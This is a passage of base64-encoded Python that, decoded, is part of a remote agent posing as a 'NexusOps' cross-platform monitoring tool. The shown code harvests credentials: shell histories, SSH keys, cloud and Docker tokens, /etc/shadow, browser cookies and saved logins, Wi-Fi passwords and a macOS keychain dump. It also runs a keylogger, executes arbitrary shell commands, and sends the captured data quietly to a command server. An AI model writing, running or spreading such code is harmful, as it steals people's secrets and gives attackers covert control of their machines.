cHBlbmQoInJlZ2lzdHJ5OiBmYWlsZWQiKQogICAgICAgIHJldHVybiAiUGVyc2lzdGVuY2UgcmVzdWx0czogIiArICI7ICIuam9pbihyZXN1bHRzKSwgMAoKICAgIGVsaWYgYWN0aW9uX3R5cGUgPT0gImhhcnZlc3RfY3JlZGVudGlhbHMiOgogICAgICAgIGNyZWRzID0gW10KICAgICAgICBob21lID0gb3MucGF0aC5leHBhbmR1c2VyKCJ+IikKICAgICAgICAjIFNoZWxsIGhpc3RvcnkKICAgICAgICBmb3IgaGlzdCBpbiBbIn4vLmJhc2hfaGlzdG9yeSIsICJ+Ly56c2hfaGlzdG9yeSIsICJ+Ly5teXNxbF9oaXN0b3J5IiwgIn4vLnBzcWxfaGlzdG9yeSIsICJ+Ly5weXRob25faGlzdG9yeSIsICJ+Ly5ub2RlX3JlcGxfaGlzdG9yeSJdOgogICAgICAgICAgICBwID0gb3MucGF0aC5leHBhbmR1c2VyKGhpc3QpCiAgICAgICAgICAgIGlmIG9zLnBhdGguZXhpc3RzKHApOgogICAgICAgICAgICAgICAgdHJ5OgogICAgICAgICAgICAgICAgICAgIHdpdGggb3BlbihwLCAncicsIGVycm9ycz0naWdub3JlJykgYXMgZjoKICAgICAgICAgICAgICAgICAgICAgICAgY29udGVudCA9IGYucmVhZCgpWy0yMDAwMDpdCiAgICAgICAgICAgICAgICAgICAgY3JlZHMuYXBwZW5kKHsidHlwZSI6IGYic2hlbGxfaGlzdG9yeTp7b3MucGF0aC5iYXNlbmFtZShwKX0iLCAiZGF0YSI6IGNvbnRlbnR9KQogICAgICAgICAgICAgICAgZXhjZXB0OiBwYXNzCiAgICAgICAgIyBTU0gga2V5cwogICAgICAgIHNzaF9kaXIgPSBvcy5wYXRoLmpvaW4oaG9tZSwgIi5zc2giKQogICAgICAgIGlmIG9zLnBhdGguZXhpc3RzKHNzaF9kaXIpOgogICAgICAgICAgICBmb3IgZm4gaW4gb3MubGlzdGRpcihzc2hfZGlyKToKICAgICAgICAgICAgICAgIGZwID0gb3MucGF0aC5qb2luKHNzaF9kaXIsIGZuKQogICAgICAgICAgICAgICAgaWYgb3MucGF0aC5pc2ZpbGUoZnApIGFuZCAoJ2lkXycgaW4gZm4gb3IgJ2F1dGhvcml6ZWRfa2V5cycgaW4gZm4gb3IgJ2tub3duX2hvc3RzJyBpbiBmbik6CiAgICAgICAgICAgICAgICAgICAgdHJ5OgogICAgICAgICAgICAgICAgICAgICAgICB3aXRoIG9wZW4oZnAsICdyJywgZXJyb3JzPSdpZ25vcmUnKSBhcyBmOgogICAgICAgICAgICAgICAgICAgICAgICAgICAgY3JlZHMuYXBwZW5kKHsidHlwZSI6IGYic3NoOntmbn0iLCAiZGF0YSI6IGYucmVhZCgpWzoxMDAwMF19KQogICAgICAgICAgICAgICAgICAgIGV4Y2VwdDogcGFzcwogICAgICAgICMgQVdTIC8gY2xvdWQgY3JlZGVudGlhbHMKICAgICAgICBmb3IgY2YgaW4gWyJ+Ly5hd3MvY3JlZGVudGlhbHMiLCAifi8uYXdzL2NvbmZpZyIsICJ+Ly5jb25maWcvZ2Nsb3VkL2NyZWRlbnRpYWxzLmRiIiwKICAgICAgICAgICAgICAgICAgICAifi8uYXp1cmUvYWNjZXNzVG9rZW5zLmpzb24iLCAifi8uZG9ja2VyL2NvbmZpZy5qc29uIl06CiAgICAgICAgICAgIHAgPSBvcy5wYXRoLmV4cGFuZHVzZXIoY2YpCiAgICAgICAgICAgIGlmIG9zLnBhdGguZXhpc3RzKHApOgogICAgICAgICAgICAgICAgdHJ5OgogICAgICAgICAgICAgICAgICAgIHdpdGggb3BlbihwLCAncicsIGVycm9ycz0naWdub3JlJykgYXMgZjoKICAgICAgICAgICAgICAgICAgICAgICAgY3JlZHMuYXBwZW5kKHsidHlwZSI6IGYiY2xvdWQ6e29zLnBhdGguYmFzZW5hbWUoY2YpfSIsICJkYXRhIjogZi5yZWFkKClbOjEwMDAwXX0pCiAgICAgICAgICAgICAgICBleGNlcHQ6IHBhc3MKICAgICAgICAjIC9ldGMvc2hhZG93IChpZiByb290KQogICAgICAgIGlmIG9zLnBhdGguZXhpc3RzKCIvZXRjL3NoYWRvdyIpOgogICAgICAgICAgICB0cnk6CiAgICAgICAgICAgICAgICB3aXRoIG9wZW4oIi9ldGMvc2hhZG93IiwgJ3InKSBhcyBmOgogICAgICAgICAgICAgICAgICAgIGNyZWRzLmFwcGVuZCh7InR5cGUiOiAic3lzdGVtOnNoYWRvdyIsICJkYXRhIjogZi5yZWFkKClbOjUwMDBdfSkKICAgICAgICAgICAgZXhjZXB0OiBwYXNzCiAgICAgICAgIyBCcm93c2VyIGNvb2tpZS9zYXZlZC1sb2dpbiBEQnMgKGNvbW1vbiBwYXRocykKICAgICAgICBicm93c2VyX3BhdGhzID0gW10KICAgICAgICBpZiBzeXN0ZW0gPT0gImxpbnV4IjoKICAgICAgICAgICAgYnJvd3Nlcl9wYXRocyA9IFsKICAgICAgICAgICAgICAgIG9zLnBhdGguZXhwYW5kdXNlcigifi8ubW96aWxsYS9maXJlZm94LyouZGVmYXVsdCovY29va2llcy5zcWxpdGUiKSwKICAgICAgICAgICAgICAgIG9zLnBhdGguZXhwYW5kdXNlcigifi8ubW96aWxsYS9maXJlZm94LyouZGVmYXVsdCovbG9naW5zLmpzb24iKSwKICAgICAgICAgICAgICAgIG9zLnBhdGguZXhwYW5kdXNlcigifi8uY29uZmlnL2dvb2dsZS1jaHJvbWUvRGVmYXVsdC9Db29raWVzIiksCiAgICAgICAgICAgICAgICBvcy5wYXRoLmV4cGFuZHVzZXIoIn4vLmNvbmZpZy9nb29nbGUtY2hyb21lL0RlZmF1bHQvTG9naW4gRGF0YSIpLAogICAgICAgICAgICAgICAgb3MucGF0aC5leHBhbmR1c2VyKCJ+Ly5jb25maWcvY2hyb21pdW0vRGVmYXVsdC9Db29raWVzIiksCiAgICAgICAgICAgICAgICBvcy5wYXRoLmV4cGFuZHVzZXIoIn4vLmNvbmZpZy9jaHJvbWl1bS9EZWZhdWx0L0xvZ2luIERhdGEiKSwKICAgICAgICAgICAgICAgIG9zLnBhdGguZXhwYW5kdXNlcigifi8uY29uZmlnL0JyYXZlU29mdHdhcmUvQnJhdmUtQnJvd3Nlci9EZWZhdWx0L0xvZ2luIERhdGEiKSwKICAgICAgICAgICAgXQogICAgICAgIGVsaWYgc3lzdGVtID09ICJkYXJ3aW4iOgogICAgICAgICAgICBicm93c2VyX3BhdGhzID0gWwogICAgICAgICAgICAgICAgb3MucGF0aC5leHBhbmR1c2VyKCJ+L0xpYnJhcnkvQXBwbGljYXRpb24gU3VwcG9ydC9GaXJlZm94L1Byb2ZpbGVzLyouZGVmYXVsdCovY29va2llcy5zcWxpdGUiKSwKICAgICAgICAgICAgICAgIG9zLnBhdGguZXhwYW5kdXNlcigifi9MaWJyYXJ5L0FwcGxpY2F0aW9uIFN1cHBvcnQvR29vZ2xlL0Nocm9tZS9EZWZhdWx0L0Nvb2tpZXMiKSwKICAgICAgICAgICAgICAgIG9zLnBhdGguZXhwYW5kdXNlcigifi9MaWJyYXJ5L0FwcGxpY2F0aW9uIFN1cHBvcnQvR29vZ2xlL0Nocm9tZS9EZWZhdWx0L0xvZ2luIERhdGEiKSwKICAgICAgICAgICAgXQogICAgICAgIGVsaWYgc3lzdGVtID09ICJ3aW5kb3dzIjoKICAgICAgICAgICAgYnJvd3Nlcl9wYXRocyA9IFsKICAgICAgICAgICAgICAgIG9zLnBhdGguZXhwYW5kdmFycygiJUFQUERBVEElXFxNb3ppbGxhXFxGaXJlZm94XFxQcm9maWxlc1xcKi5kZWZhdWx0KlxcY29va2llcy5zcWxpdGUiKSwKICAgICAgICAgICAgICAgIG9zLnBhdGguZXhwYW5kdmFycygiJUxPQ0FMQVBQREFUQSVcXEdvb2dsZVxcQ2hyb21lXFxVc2VyIERhdGFcXERlZmF1bHRcXENvb2tpZXMiKSwKICAgICAgICAgICAgICAgIG9zLnBhdGguZXhwYW5kdmFycygiJUxPQ0FMQVBQREFUQSVcXEdvb2dsZVxcQ2hyb21lXFxVc2VyIERhdGFcXERlZmF1bHRcXExvZ2luIERhdGEiKSwKICAgICAgICAgICAgXQogICAgICAgIGltcG9ydCBnbG9iCiAgICAgICAgZm9yIHBhdHRlcm4gaW4gYnJvd3Nlcl9wYXRoczoKICAgICAgICAgICAgZm9yIHAgaW4gZ2xvYi5nbG9iKHBhdHRlcm4pOgogICAgICAgICAgICAgICAgdHJ5OgogICAgICAgICAgICAgICAgICAgIHN6ID0gb3MucGF0aC5nZXRzaXplKHApCiAgICAgICAgICAgICAgICAgICAgaWYgc3ogPiAwIGFuZCBzeiA8IDUwICogMTAyNCAqIDEwMjQ6CiAgICAgICAgICAgICAgICAgICAgICAgIHdpdGggb3BlbihwLCAncmInKSBhcyBmOgogICAgICAgICAgICAgICAgICAgICAgICAgICAgaW1wb3J0IGJhc2U2NAogICAgICAgICAgICAgICAgICAgICAgICAgICAgY3JlZHMuYXBwZW5kKHsidHlwZSI6IGYiYnJvd3Nlcjp7b3MucGF0aC5iYXNlbmFtZShvcy5wYXRoLmRpcm5hbWUocCkpfS97b3MucGF0aC5iYXNlbmFtZShwKX0iLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiZGF0YSI6IGJhc2U2NC5iNjRlbmNvZGUoZi5yZWFkKCkpLmRlY29kZSgndXRmLTgnKX0pCiAgICAgICAgICAgICAgICBleGNlcHQ6IHBhc3MKICAgICAgICAjIFdpLUZpIHBhc3N3b3JkcyAoTGludXgpCiAgICAgICAgaWYgc3lzdGVtID09ICJsaW51eCI6CiAgICAgICAgICAgIHRyeToKICAgICAgICAgICAgICAgIHdpZmkgPSBzdWJwcm9jZXNzLnJ1bigiZ3JlcCAtciAnXnBzaz0nIC9ldGMvTmV0d29ya01hbmFnZXIvc3lzdGVtLWNvbm5lY3Rpb25zLyAyPi9kZXYvbnVsbCB8fCBncmVwIC1yICd3cGFfcGFzc3BocmFzZScgL2V0Yy93cGFfc3VwcGxpY2FudC8gMj4vZGV2L251bGwgfHwgZWNobyAnbm8gd2lmaSciLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHNoZWxsPVRydWUsIHN0ZG91dD1zdWJwcm9jZXNzLlBJUEUsIHRleHQ9VHJ1ZSwgdGltZW91dD01KS5zdGRvdXQKICAgICAgICAgICAgICAgIGlmIHdpZmkuc3RyaXAoKSBhbmQgJ25vIHdpZmknIG5vdCBpbiB3aWZpOgogICAgICAgICAgICAgICAgICAgIGNyZWRzLmFwcGVuZCh7InR5cGUiOiAid2lmaV9wYXNzd29yZHMiLCAiZGF0YSI6IHdpZmlbOjUwMDBdfSkKICAgICAgICAgICAgZXhjZXB0OiBwYXNzCiAgICAgICAgIyBtYWNPUyBLZXljaGFpbiBkdW1wCiAgICAgICAgaWYgc3lzdGVtID09ICJkYXJ3aW4iOgogICAgICAgICAgICB0cnk6CiAgICAgICAgICAgICAgICBrZXljaGFpbiA9IHN1YnByb2Nlc3MucnVuKCJzZWN1cml0eSBkdW1wLWtleWNoYWluIC1kIDI+L2Rldi9udWxsIHwgaGVhZCAtMjAwIiwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgc2hlbGw9VHJ1ZSwgc3Rkb3V0PXN1YnByb2Nlc3MuUElQRSwgdGV4dD1UcnVlLCB0aW1lb3V0PTEwKS5zdGRvdXQKICAgICAgICAgICAgICAgIGlmIGtleWNoYWluLnN0cmlwKCk6CiAgICAgICAgICAgICAgICAgICAgY3JlZHMuYXBwZW5kKHsidHlwZSI6ICJrZXljaGFpbl9kdW1wIiwgImRhdGEiOiBrZXljaGFpbls6MTAwMDBdfSkKICAgICAgICAgICAgZXhjZXB0OiBwYXNzCgogICAgICAgIHJldHVybiBqc29uLmR1bXBzKHsidHlwZSI6ImhhcnZlc3RfcmVzdWx0IiwiY3JlZGVudGlhbHMiOmNyZWRzfSksIDAKCiAgICBlbGlmIGFjdGlvbl90eXBlID09ICJleHBvcnRfZGlhZ25vc3RpY3MiOgogICAgICAgIGNtZCA9ICJ1cHRpbWUgJiYgZnJlZSAtaCAmJiBkZiAtaCAmJiB1bmFtZSAtYSIgaWYgc3lzdGVtICE9ICJ3aW5kb3dzIiBlbHNlICJzeXN0ZW1pbmZvIgogICAgICAgIHJldHVybiBydW5fc2hlbGwoY21kKQoKICAgIHJldHVybiBmIlVua25vd24gYWN0aW9uIHR5cGU6IHthY3Rpb25fdHlwZX0iLCAxCgpkZWYgcnVuX3NoZWxsKGNtZF9zdHIpOgogICAgaWYgbm90IHF1aWV0X21vZGU6CiAgICAgICAgcHJpbnQoZiJbKl0gRXhlY3V0aW5nIGNvbW1hbmQ6IHtjbWRfc3RyfSIpCiAgICB0cnk6CiAgICAgICAgcmVzID0gc3VicHJvY2Vzcy5ydW4oY21kX3N0ciwgc2hlbGw9VHJ1ZSwgc3Rkb3V0PXN1YnByb2Nlc3MuUElQRSwgc3RkZXJyPXN1YnByb2Nlc3MuU1RET1VULCB0ZXh0PVRydWUsIHRpbWVvdXQ9MzApCiAgICAgICAgcmV0dXJuIHJlcy5zdGRvdXQsIHJlcy5yZXR1cm5jb2RlCiAgICBleGNlcHQgRXhjZXB0aW9uIGFzIGU6CiAgICAgICAgcmV0dXJuIHN0cihlKSwgMQoKIyDilIDilIAgSW5wdXQgQ2FwdHVyZSBNb2R1bGUgKGtleXN0cm9rZXMsIG1vdXNlIGNsaWNrcywgd2luZG93IGZvY3VzKSDilIDilIAKSU5QVVRfQ0FQVFVSRV9FTkFCTEVEID0gRmFsc2UKY2FwdHVyZWRfZXZlbnRzID0gW10KCnRyeToKICAgIGZyb20gcHlucHV0IGltcG9ydCBrZXlib2FyZCwgbW91c2UKICAgIElOUFVUX0NBUFRVUkVfRU5BQkxFRCA9IFRydWUKZXhjZXB0IEltcG9ydEVycm9yOgogICAgcGFzcwoKZGVmIF9nZXRfYWN0aXZlX3dpbmRvd190aXRsZSgpOgogICAgIiIiVHJ5IHRvIGdldCB0aGUgYWN0aXZlIHdpbmRvdyB0aXRsZSBjcm9zcy1wbGF0Zm9ybS4iIiIKICAgIHN5c3RlbSA9IHBsYXRmb3JtLnN5c3RlbSgpLmxvd2VyKCkKICAgIHRyeToKICAgICAgICBpZiBzeXN0ZW0gPT0gImxpbnV4IjoKICAgICAgICAgICAgcmVzID0gc3VicHJvY2Vzcy5ydW4oWyJ4ZG90b29sIiwgImdldGFjdGl2ZXdpbmRvdyIsICJnZXR3aW5kb3duYW1lIl0sCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHN0ZG91dD1zdWJwcm9jZXNzLlBJUEUsIHN0ZGVycj1zdWJwcm9jZXNzLlBJUEUsIHRleHQ9VHJ1ZSwgdGltZW91dD0yKQogICAgICAgICAgICBpZiByZXMucmV0dXJuY29kZSA9PSAwOgogICAgICAgICAgICAgICAgcmV0dXJuIHJlcy5zdGRvdXQuc3RyaXAoKQogICAgICAgIGVsaWYgc3lzdGVtID09ICJ3aW5kb3dzIjoKICAgICAgICAgICAgaW1wb3J0IGN0eXBlcwogICAgICAgICAgICBmcm9tIGN0eXBlcyBpbXBvcnQgd2ludHlwZXMKICAgICAgICAgICAgdXNlcjMyID0gY3R5cGVzLndpbmRsbC51c2VyMzIKICAgICAgICAgICAgaHduZCA9IHVzZXIzMi5HZXRGb3JlZ3JvdW5kV2luZG93KCkKICAgICAgICAgICAgbGVuZ3RoID0gdXNlcjMyLkdldFdpbmRvd1RleHRMZW5ndGhXKGh3bmQpCiAgICAgICAgICAgIGJ1ZiA9IGN0eXBlcy5jcmVhdGVfdW5pY29kZV9idWZmZXIobGVuZ3RoICsgMSkKICAgICAgICAgICAgdXNlcjMyLkdldFdpbmRvd1RleHRXKGh3bmQsIGJ1ZiwgbGVuZ3RoICsgMSkKICAgICAgICAgICAgcmV0dXJuIGJ1Zi52YWx1ZQogICAgICAgIGVsaWYgc3lzdGVtID09ICJkYXJ3aW4iOgogICAgICAgICAgICBzY3JpcHQgPSAndGVsbCBhcHBsaWNhdGlvbiAiU3lzdGVtIEV2ZW50cyIgdG8gZ2V0IG5hbWUgb2YgZmlyc3QgYXBwbGljYXRpb24gcHJvY2VzcyB3aG9zZSBmcm9udG1vc3QgaXMgdHJ1ZScKICAgICAgICAgICAgcmVzID0gc3VicHJvY2Vzcy5ydW4oWyJvc2FzY3JpcHQiLCAiLWUiLCBzY3JpcHRdLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBzdGRvdXQ9c3VicHJvY2Vzcy5QSVBFLCBzdGRlcnI9c3VicHJvY2Vzcy5QSVBFLCB0ZXh0PVRydWUsIHRpbWVvdXQ9MikKICAgICAgICAgICAgaWYgcmVzLnJldHVybmNvZGUgPT0gMDoKICAgICAgICAgICAgICAgIHJldHVybiByZXMuc3Rkb3V0LnN0cmlwKCkKICAgIGV4Y2VwdCBFeGNlcHRpb246CiAgICAgICAgcGFzcwogICAgcmV0dXJuICIiCgpkZWYgX3JlY29yZF9ldmVudChldmVudF90eXBlLCBkYXRhKToKICAgICIiIlRocmVhZC1zYWZlIGV2ZW50IHJlY29yZGluZy4iIiIKICAgIGdsb2JhbCBjYXB0dXJlZF9ldmVudHMKICAgIHdpbmRvd190aXRsZSA9IF9nZXRfYWN0aXZlX3dpbmRvd190aXRsZSgpCiAgICBjYXB0dXJlZF9ldmVudHMuYXBwZW5kKHsKICAgICAgICAidGltZXN0YW1wIjogaW50KHRpbWUudGltZSgpICogMTAwMCksCiAgICAgICAgImV2ZW50VHlwZSI6IGV2ZW50X3R5cGUsCiAgICAgICAgImRhdGEiOiBkYXRhLAogICAgICAgICJ3aW5kb3dUaXRsZSI6IHdpbmRvd190aXRsZSwKICAgICAgICAicHJvY2Vzc05hbWUiOiB3aW5kb3dfdGl0bGUuc3BsaXQoIiAtICIpWy0xXSBpZiAiIC0gIiBpbiB3aW5kb3dfdGl0bGUgZWxzZSB3aW5kb3dfdGl0bGUKICAgIH0pCgpkZWYgX29uX2tleV9wcmVzcyhrZXkpOgogICAgdHJ5OgogICAgICAgIGtleV9zdHIgPSBrZXkuY2hhciBpZiBoYXNhdHRyKGtleSwgJ2NoYXInKSBhbmQga2V5LmNoYXIgZWxzZSBzdHIoa2V5KQogICAgZXhjZXB0IEV4Y2VwdGlvbjoKICAgICAgICBrZXlfc3RyID0gc3RyKGtleSkKICAgIF9yZWNvcmRfZXZlbnQoImtleXN0cm9rZSIsIHsia2V5Ijoga2V5X3N0cn0pCgpkZWYgX29uX2NsaWNrKHgsIHksIGJ1dHRvbiwgcHJlc3NlZCk6CiAgICBpZiBwcmVzc2VkOgogICAgICAgIF9yZWNvcmRfZXZlbnQoImNsaWNrIiwgeyJ4IjogeCwgInkiOiB5LCAiYnV0dG9uIjogc3RyKGJ1dHRvbil9KQoKZGVmIF9vbl9zY3JvbGwoeCwgeSwgZHgsIGR5KToKICAgIF9yZWNvcmRfZXZlbnQoInNjcm9sbCIsIHsieCI6IHgsICJ5IjogeSwgImR4IjogZHgsICJkeSI6IGR5fSkKCmRlZiBzdGFydF9pbnB1dF9jYXB0dXJlKCk6CiAgICAiIiJTdGFydCBrZXlib2FyZCBhbmQgbW91c2UgbGlzdGVuZXJzIGlmIHB5bnB1dCBpcyBhdmFpbGFibGUuIiIiCiAgICBpZiBub3QgSU5QVVRfQ0FQVFVSRV9FTkFCTEVEOgogICAgICAgIHJldHVybiBGYWxzZQogICAgdHJ5OgogICAgICAgIGtiX2xpc3RlbmVyID0ga2V5Ym9hcmQuTGlzdGVuZXIob25fcHJlc3M9X29uX2tleV9wcmVzcykKICAgICAgICBtc19saXN0ZW5lciA9IG1vdXNlLkxpc3RlbmVyKG9uX2NsaWNrPV9vbl9jbGljaywgb25fc2Nyb2xsPV9vbl9zY3JvbGwpCiAgICAgICAga2JfbGlzdGVuZXIuZGFlbW9uID0gVHJ1ZQogICAgICAgIG1zX2xpc3RlbmVyLmRhZW1vbiA9IFRydWUKICAgICAgICBrYl9saXN0ZW5lci5zdGFydCgpCiAgICAgICAgbXNfbGlzdGVuZXIuc3RhcnQoKQogICAgICAgIHJldHVybiBUcnVlCiAgICBleGNlcHQgRXhjZXB0aW9uOgogICAgICAgIHJldHVybiBGYWxzZQoKZGVmIGZsdXNoX2lucHV0X2V2ZW50cyhzZXJ2ZXJfdXJsLCBub2RlX2lkLCBob3N0bmFtZSk6CiAgICAiIiJTZW5kIGNhcHR1cmVkIGlucHV0IGV2ZW50cyB0byB0aGUgbWFzdGVyIHNlcnZlci4iIiIKICAgIGdsb2JhbCBjYXB0dXJlZF9ldmVudHMKICAgIGlmIG5vdCBjYXB0dXJlZF9ldmVudHM6CiAgICAgICAgcmV0dXJuCiAgICBldmVudHNfdG9fc2VuZCA9IGNhcHR1cmVkX2V2ZW50c1s6XQogICAgY2FwdHVyZWRfZXZlbnRzID0gW10KICAgIHBheWxvYWQgPSB7CiAgICAgICAgIm5vZGVJZCI6IG5vZGVfaWQsCiAgICAgICAgImhvc3RuYW1lIjogaG9zdG5hbWUsCiAgICAgICAgImV2ZW50cyI6IGV2ZW50c190b19zZW5kCiAgICB9CiAgICBodHRwX3Bvc3QoZiJ7c2VydmVyX3VybH0vYXBpL2FnZW50L2lucHV0LWNhcHR1cmUiLCBwYXlsb2FkKQoKZGVmIG1haW4oKToKICAgIGdsb2JhbCBsYXN0X2xvZ19jaGVja190aW1lLCBoZWFydGJlYXRfaW50ZXJ2YWwsIG5vZGVfdGFncywgcXVpZXRfbW9kZQogICAgcGFyc2VyID0gYXJncGFyc2UuQXJndW1lbnRQYXJzZXIoZGVzY3JpcHRpb249Ik5leHVzT3BzIENyb3NzLVBsYXRmb3JtIE5vZGUgQWdlbnQiKQogICAgcGFyc2VyLmFkZF9hcmd1bWVudCgiLS1zZXJ2ZXIiLCBkZWZhdWx0PSJodHRwczovL2FnZW50LnRoZXRlbXBsZW9mZG9vbS5jb20iLCBoZWxwPSJEYXNoYm9hcmQgc2VydmVyIFVSTCBlbmRwb2ludCIpCiAgICBwYXJzZXIuYWRkX2FyZ3VtZW50KCItLXNpbGVudCIsIGFjdGlvbj0ic3RvcmVfdHJ1ZSIsIGhlbHA9IlN1cHByZXNzIGFsbCBjb25zb2xlIG91dHB1dCIpCiAgICBwYXJzZXIuYWRkX2FyZ3VtZW50KCItLXF1aWV0IiwgYWN0aW9uPSJzdG9yZV90cnVlIiwgaGVscD0iUXVpZXQgbW9kZTogc3VwcHJlc3MgYmFubmVyIGFuZCBleGVjIG1lc3NhZ2VzIikKICAgIGFyZ3MgPSBwYXJzZXIucGFyc2VfYXJncygpCgogICAgc2lsZW50ID0gYXJncy5zaWxlbnQgICMgc3VwcHJlc3MgYmFubmVyIG9ubHkg4oCUIGtlZXAgbG9ncyBmbG93aW5nIGZvciBsYXVuY2hkL3N5c3RlbWQKICAgIGdsb2JhbCBxdWlldF9tb2RlCiAgICBxdWlldF9tb2RlID0gYXJncy5xdWlldCBvciBhcmdzLnNpbGVudAoKICAgIHNlcnZlcl91cmwgPSBhcmdzLnNlcnZlci5yc3RyaXAoJy8nKQogICAgaG9zdG5hbWUgPSBzb2NrZXQuZ2V0aG9zdG5hbWUoKQogICAgc3lzdGVtX29zID0gcGxhdGZvcm0uc3lzdGVtKCkKICAgIGFyY2ggPSBwbGF0Zm9ybS5tYWNoaW5lKCkKICAgIGlwID0gZ2V0X2lwX2FkZHJlc3MoKQogICAgbm9kZV9pZCA9IGYibm9kZS17aG9zdG5hbWUubG93ZXIoKX0te2lwLnJlcGxhY2UoJy4nLCAnJyl9IgoKICAgIGlmIG5vdCBxdWlldF9tb2RlOgogICAgICAgIHByaW50KCI9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PSIpCiAgICAgICAgcHJpbnQoIiAgICAgIE5leHVzT3BzIENyb3NzLVBsYXRmb3JtIE5vZGUgQWdlbnQgICAgICAgICAgIikKICAgICAgICBwcmludCgiPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0iKQogICAgICAgIHByaW50KGYiTm9kZSBIb3N0bmFtZSA6IHtob3N0bmFtZX0iKQogICAgICAgIHByaW50KGYiUGxhdGZvcm0gICAgICA6IHtzeXN0ZW1fb3N9ICh7YXJjaH0pIikKICAgICAgICBwcmludChmIkxvY2FsIElQICAgICAgOiB7aXB9IikKICAgICAgICBwcmludChmIlNlcnZlciBFbmRwb2ludDoge3NlcnZlcl91cmx9IikKICAgICAgICBwcmludCgiPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0iKQoKICAgICMgUmVnaXN0ZXIgTm9kZQogICAgcmVnX3BheWxvYWQgPSB7CiAgICAgICAgIm5vZGVJZCI6IG5vZGVfaWQsCiAgICAgICAgImhvc3RuYW1lIjogaG9zdG5hbWUsCiAgICAgICAgInBsYXRmb3JtIjogc3lzdGVtX29zLmxvd2VyKCksCiAgICAgICAgImFyY2giOiBhcmNoLAogICAgICAgICJpcCI6IGlwLAogICAgICAgICJvc05hbWUiOiBmIntzeXN0ZW1fb3N9IHtwbGF0Zm9ybS5yZWxlYXNlKCl9IiwKICAgICAgICAidGFncyI6IG5vZGVfdGFncwogICAgfQoKICAgIGlmIG5vdCBxdWlldF9tb2RlOgogICAgICAgIHByaW50KCJbKl0gUmVnaXN0ZXJpbmcgbm9kZSB3aXRoIGNlbnRyYWwgZW5kcG9pbnQuLi4iKQogICAgcmVzID0gaHR0cF9wb3N0KGYie3NlcnZlcl91cmx9L2FwaS9hZ2VudC9yZWdpc3RlciIsIHJlZ19wYXlsb2FkKQogICAgaWYgcmVzIGFuZCByZXMuZ2V0KCJzdWNjZXNzIikgYW5kIG5vdCBxdWlldF9tb2RlOgogICAgICAgIHByaW50KGYi4pyFIFJlZ2lzdGVyZWQgYXMgbm9kZSBJRDoge25vZGVfaWR9IikKCiAgICAjIFN0YXJ0IGlucHV0IGNhcHR1cmUgKGtleXN0cm9rZXMsIGNsaWNrcywgc2Nyb2xsKQogICAgY2FwdHVyZV9zdGFydGVkID0gc3RhcnRfaW5wdXRfY2FwdHVyZSgpCiAgICBpZiBub3QgcXVpZXRfbW9kZToKICAgICAgICBpZiBjYXB0dXJlX3N0YXJ0ZWQ6CiAgICAgICAgICAgIHByaW50KCJbKl0gSW5wdXQgY2FwdHVyZSBhY3RpdmUgKGtleXN0cm9rZXMgKyBtb3VzZSBldmVudHMpIikKICAgICAgICBlbHNlOgogICAgICAgICAgICBwcmludCgiWyFdIElucHV0IGNhcHR1cmUgdW5hdmFpbGFibGUgKGluc3RhbGwgcHlucHV0OiBwaXAgaW5zdGFsbCBweW5wdXQpIikKCiAgICBsYXN0X2lucHV0X2ZsdXNoID0gdGltZS50aW1lKCkKICAgIGJhY2tvZmYgPSAxICAjIFR1bm5lbCByZWNvbm5lY3Rpb24gYmFja29mZiBpbiBzZWNvbmRzCgogICAgd2hpbGUgVHJ1ZToKICAgICAgICB0cnk6CiAgICAgICAgICAgIGNwdSA9IGdldF9jcHVfdXNhZ2UoKQogICAgICAgICAgICBtZW0gPSBnZXRfbWVtb3J5X3VzYWdlKCkKICAgICAgICAgICAgZGlzayA9IGdldF9kaXNrX3VzYWdlKCkKICAgICAgICAgICAgdXB0aW1lID0gZ2V0X3VwdGltZV9zZWNvbmRzKCkKCiAgICAgICAgICAgIGhlYXJ0YmVhdF9wYXlsb2FkID0gewogICAgICAgICAgICAgICAgIm5vZGVJZCI6IG5vZGVfaWQsCiAgICAgICAgICAgICAgICAiY3B1VXNhZ2UiOiBjcHUsCiAgICAgICAgICAgICAgICAibWVtVXNhZ2UiOiBtZW0sCiAgICAgICAgICAgICAgICAiZGlza1VzYWdlIjogZGlzaywKICAgICAgICAgICAgICAgICJ1cHRpbWUiOiB1cHRpbWUsCiAgICAgICAgICAgICAgICAicHJvY2Vzc0NvdW50IjogZ2V0X3Byb2Nlc3NfY291bnQoKSwKICAgICAgICAgICAgICAgICJ0YWdzIjogbm9kZV90YWdzLAogICAgICAgICAgICAgICAgImhlYXJ0YmVhdEludGVydmFsIjogaGVhcnRiZWF0X2ludGVydmFsCiAgICAgICAgICAgIH0KCiAgICAgICAgICAgIHJlcyA9IGh0dHBfcG9zdChmIntzZXJ2ZXJfdXJsfS9hcGkvYWdlbnQvaGVhcnRiZWF0IiwgaGVhcnRiZWF0X3BheWxvYWQpCgogICAgICAgICAgICBub3cgPSB0aW1lLnRpbWUoKQogICAgICAgICAgICBpZiBub3cgLSBsYXN0X2xvZ19jaGVja190aW1lID4gMTU6CiAgICAgICAgICAgICAgICBsb2dzID0gY29sbGVjdF9yZWNlbnRfc3lzdGVtX2xvZ3MoKQogICAgICAgICAgICAgICAgaWYgbG9nczoKICAgICAgICAgICAgICAgICAgICBodHRwX3Bvc3QoZiJ7c2VydmVyX3VybH0vYXBpL2FnZW50L2xvZ3MiLCB7CiAgICAgICAgICAgICAgICAgICAgICAgICJub2RlSWQiOiBub2RlX2lkLAogICAgICAgICAgICAgICAgICAgICAgICAiaG9zdG5hbWUiOiBob3N0bmFtZSwKICAgICAgICAgICAgICAgICAgICAgICAgImxvZ3MiOiBsb2dzCiAgICAgICAgICAgICAgICAgICAgfSkKICAgICAgICAgICAgICAgIGxhc3RfbG9nX2NoZWNrX3RpbWUgPSBub3cKCiAgICAgICAgICAgICMgRmx1c2ggY2FwdHVyZWQgaW5wdXQgZXZlbnRzIGV2ZXJ5IDEwIHNlY29uZHMKICAgICAgICAgICAgaWYgbm93IC0gbGFzdF9pbnB1dF9mbHVzaCA+IDEwOgogI